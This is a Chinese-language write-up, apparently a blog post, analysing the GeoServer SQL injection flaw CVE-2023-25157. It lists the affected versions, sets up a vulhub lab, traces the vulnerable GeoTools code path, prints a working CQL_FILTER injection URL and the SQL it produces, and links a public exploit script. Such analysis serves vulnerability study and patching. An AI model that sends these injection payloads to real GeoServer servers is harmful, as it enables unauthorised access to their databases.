漏洞介绍

GeoServer 是 OpenGIS Web 服务器规范的 J2EE 实现,利用 GeoServer 可以方便的发布地图数据,允许用户对特征数据进行更新、删除、插入操作。

在版本2.22.1和2.21.4及以前,多个OGC表达式中均存在SQL注入漏洞。

漏洞范围

GeoServer 2.20.x < 2.20.7
GeoServer 2.19.x < 2.19.7
GeoServer 2.18.x < 2.18.7
GeoServer 2.21.x < 2.21.4
GeoServer 2.22.x < 2.22.2

漏洞靶场

使用vulhub的靶场:

使用环境为GeoServer 2.22.1

vulhub-master/geoserver/CVE-2023-25157/

启动靶场环境:

1
docker-compose up -d

环境启动后,访问 http://your-ip:8080/geoserver查看到GeoServer的默认页面。

漏洞原理

这里以Geoserver 2.21.3进行分析

由于存在多个注入点,在这里以 strStartsWith 作为案例进行分析,将项目导入 IDEA,开启 DEBUG 调试,下断点定位到 org.geotools.jdbc 下的 getReaderInternal 函数

img

在查询之前 this.getDataStore().getConnection(this.getState()); 会执行 select now() 判断是否能正常连接数据库。

继续跟进到 selectSQL

img

C:\Users\LENOVO.m2\repository\org\geotools\gt-jdbc\27.3\gt-jdbc-27.3-sources.jar!\org\geotools\jdbc\JDBCDataStore.class#L3467-L3485(需用Maven下载依赖包)

selectSQL 函数中 selectColumns 会对数据库中的字段进行遍历,并拼接出 SQL 语句

img

C:\Users\LENOVO.m2\repository\org\geotools\gt-jdbc\27.3\gt-jdbc-27.3-sources.jar!\org\geotools\jdbc\JDBCDataStore.class#L3543-L3564(需用Maven下载依赖包)

拼接相关函数如下:

img

C:\Users\LENOVO.m2\repository\org\geotools\gt-jdbc\27.3\gt-jdbc-27.3-sources.jar!\org\geotools\jdbc\SQLDialect.class#L459-L475(需用Maven下载依赖包)

img

C:\Users\LENOVO.m2\repository\org\geotools\jdbc\gt-jdbc-postgis\27.3\gt-jdbc-postgis-27.3.jar!\org\geotools\data\postgis\GeometryColumnEncoder.class#L43-L57(需用Maven下载依赖包)

img

C:\Users\LENOVO.m2\repository\org\geotools\jdbc\gt-jdbc-postgis\27.3\gt-jdbc-postgis-27.3.jar!\org\geotools\data\postgis\GeometryColumnEncoder.class#L26-L41(需用Maven下载依赖包)

拼接完成后 SQL 语句如下:

1
SELECT "gid","bin",encode(ST_AsEWKB("the_geom"), 'base64') as "the_geom" FROM "public"."nyc_buildings" WHERE

接下来是对 filter 的处理

img

C:\Users\LENOVO.m2\repository\org\geotools\gt-jdbc\27.3\gt-jdbc-27.3-sources.jar!\org\geotools\data\jdbc\FilterToSQL.class#L306-L311(需用Maven下载依赖包)

filter 中将我们输入的 CQL_FILTER 转换成 SQL 后语句后拼接到 WHERE 后面

img

C:\Users\LENOVO.m2\repository\org\geotools\gt-jdbc\27.3\gt-jdbc-27.3-sources.jar!\org\geotools\jdbc\JDBCDataStore.class#L3604-L3628(需用Maven下载依赖包)

因此最后拼接出来的 SQL 语句如下:

1
SELECT "gid","bin",encode(ST_AsEWKB("the_geom"), 'base64') as "the_geom" FROM "public"."nyc_buildings" WHERE ("bin"::text LIKE 'x') = true and 1=(SELECT CAST ((SELECT version()) AS INTEGER)) -- %') = true

JDBCFeatureReader 中由 executeQuery 执行 SQL 语句

img

C:\Users\LENOVO.m2\repository\org\geotools\gt-jdbc\27.3\gt-jdbc-27.3-sources.jar!\org\geotools\jdbc\JDBCFeatureReader.class#L130-L154(需用Maven下载依赖包)

总结一下:org.geotools.jdbc 下的 getReaderInternal() 函数对用户输入的查询进出处理,进一步调用 selectSQL 生成对应数据库的 SQL 查询语句,生成数据库的查询语句后,会对判断是否存在 CQL_FILTER 查询条件,如果是存在则开始处理用户输入的 CQL_FILTER 条件,由 encodeToString(Filter filter)CQL_FILTER 转换为 SQL 语句,再由 FilterToSQL filter 拼接到 WHETE 后面,最后 JDBCFeatureReaderthis.runQuery 执行带有注入的 SQL 语句,完成注入。

最终的整个漏洞的调用栈如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<init>:153, JDBCFeatureReader (org.geotools.jdbc)
getReaderInternal:607, JDBCFeatureSource (org.geotools.jdbc)
getReaderInternal:218, JDBCFeatureStore (org.geotools.jdbc)
getReader:636, ContentFeatureSource (org.geotools.data.store)
features:173, ContentFeatureCollection (org.geotools.data.store)
features:52, ContentFeatureCollection (org.geotools.data.store)
features:40, SecuredFeatureCollection (org.geoserver.security.decorators)
features:75, SecuredSimpleFeatureCollection (org.geoserver.security.decorators)
features:93, DecoratingSimpleFeatureCollection (org.geotools.feature.collection)
encode:572, FeatureTransformer$FeatureTranslator (org.geotools.gml.producer)
parse:1054, TransformerBase$XMLReaderSupport (org.geotools.xml.transform)
transform:485, TransformerIdentityImpl (org.apache.xalan.transformer)
run:287, TransformerBase$Task (org.geotools.xml.transform)
transform:121, TransformerBase (org.geotools.xml.transform)
transform:103, TransformerBase (org.geotools.xml.transform)
encode:247, GML2OutputFormat (org.geoserver.wfs.xml)
write:261, GML2OutputFormat (org.geoserver.wfs.xml)
write:199, WFSGetFeatureOutputFormat (org.geoserver.wfs)
response:1018, Dispatcher (org.geoserver.ows)
handleRequestInternal:272, Dispatcher (org.geoserver.ows)

漏洞复现

在利用漏洞前,需要目标服务器中存在类型是PostGIS的数据空间(datastore)和工作空间(workspace)。在Vulhub中,已经包含满足条件的工作空间,其信息如下:

  • Workspace name: vulhub
  • Data store name: pg
  • Feature type (table) name: example
  • One of attribute from feature type: name

利用这些已知参数,发送如下URL即可触发SQL注入漏洞:

1
http://your-ip:8080/geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=vulhub:example&CQL_FILTER=strStartsWith%28name%2C%27x%27%27%29+%3D+true+and+1%3D%28SELECT+CAST+%28%28SELECT+version()%29+AS+integer%29%29+--+%27%29+%3D+true

image-20250512182411549

可见,已经使用SQL注入获取到了目标服务器PostgreSQL的版本。

exp

charis3306/CVE-2023-25157: CVE-2023-25157 exp (github.com)

1
python exp.py http://192.168.159.132:8080

image-20250512193849884

访问生成的payload url

image-20250521150555810

成功看到版本

参考

https://github.com/vulhub/vulhub/blob/master/geoserver/CVE-2023-25157/README.zh-cn.md

原创Paper | GeoServer SQL 注入漏洞分析(CVE-2023-25157)-腾讯云开发者社区-腾讯云 (tencent.com)

[GeoServer SQL 注入漏洞分析(CVE-2023-25157) | Ky不是枕木 (kylinxin.github.io)](https://kylinxin.github.io/2023/12/10/GeoServer SQL 注入漏洞分析(CVE-2023-25157) 99fa857ab6de4ee5a6af2eb1bee9437c/#四-影响版本)